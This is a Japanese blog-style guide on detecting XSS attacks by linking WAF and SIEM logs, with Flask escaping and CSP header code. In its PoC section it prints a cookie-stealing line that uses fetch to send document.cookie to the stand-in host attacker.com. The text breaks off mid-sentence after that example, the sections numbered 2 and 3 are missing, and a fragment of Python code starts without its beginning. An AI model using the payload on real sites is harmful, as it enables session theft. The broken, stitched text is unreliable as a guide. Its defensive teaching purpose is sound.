【実務・中級編】XSS攻撃の検知とログ収集：WAFとSIEMの連携 – アプリケーションセキュリティ & 安全な開発防御ガイド

XSSは「防ぐ」だけでなく「狩る」ものだ：WAFとSIEMで構築する攻撃検知の最前線

「XSSなんて今さら教えることあるか？」と思うかもしれない。確かに、htmlspecialchars()やDOMPurifyを正しく使えば脆弱性は防げる。しかし、現実はどうだ？複雑なSPA、サードパーティ製ライブラリ、そして開発者のうっかりミス。脆弱性は必ず生まれるものという前提で動くのが、我々セキュリティエンジニアの矜持だ。

今日は、単に「弾く」だけじゃない。「攻撃者の意図をログから読み解き、先回りしてインシデントを封じ込める」ための、現場の知見を詰め込んだ戦略を共有する。

—

1. 攻撃者が狙う盲点：なぜWAF単体では不十分なのか

WAFは強力な盾だが、所詮は「シグネチャベース」の門番だ。最新の難読化されたペイロードや、DOMベースの巧妙なスクリプトインジェクションは、すり抜けることが往々にしてある。

例えば、こんな反射型XSSのPoCを想像してほしい。

// 攻撃者の意図：クエリパラメータからcookieを盗む
// 難読化例：Base64エンコードやString.fromCharCodeを使った回避
fetch(‘https://attacker.com/log?c=’ + document.cookie);

WAFで「"


    # 鉄則1: テンプレート側でエスケープを強制する

    # Jinja2はデフォルトでエスケープするが、意図しないrawフィルタ使用は厳禁

    # 鉄則2: CSP (Content Security Policy) ヘッダーの付与

    return render_template_string("
User: {{ user_input }}
", user_input=user_input)
@app.after_request

def add_security_headers(response):

    # CSPヘッダー：インラインスクリプトの実行を原則禁止する

    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"

    return response
---
4. セキュリティチーフからの「教訓」
最後に、一つだけ覚えて帰ってほしい。
「ログは嘘をつかないが、攻撃者はログを読まれることを想定して動く」ということだ。

誤検知（False Positive）を恐れるな： 厳しすぎるWAFルールは開発の邪魔になるが、過剰なチューニングで穴を開けるよりはマシだ。
「相関」を見ろ： 単発の攻撃はノイズかもしれない。しかし、WAFで弾いた直後に管理者ログイン画面へのアクセスが急増しているなら、それは「偵察」だ。SIEMを使って、それらのイベントを結びつけるアラート設定を今すぐ見直せ。

セキュリティは「ツールを導入して終わり」ではない。「検知して、分析して、自動で遮断する」というサイクルを、日々の運用コードの中に埋め込むこと。それが、我々エンジニアが守るべきシステムの安全性だ。
不明点があればいつでも相談してくれ。手を動かす前に、まずはそのログを確認するところから始めよう。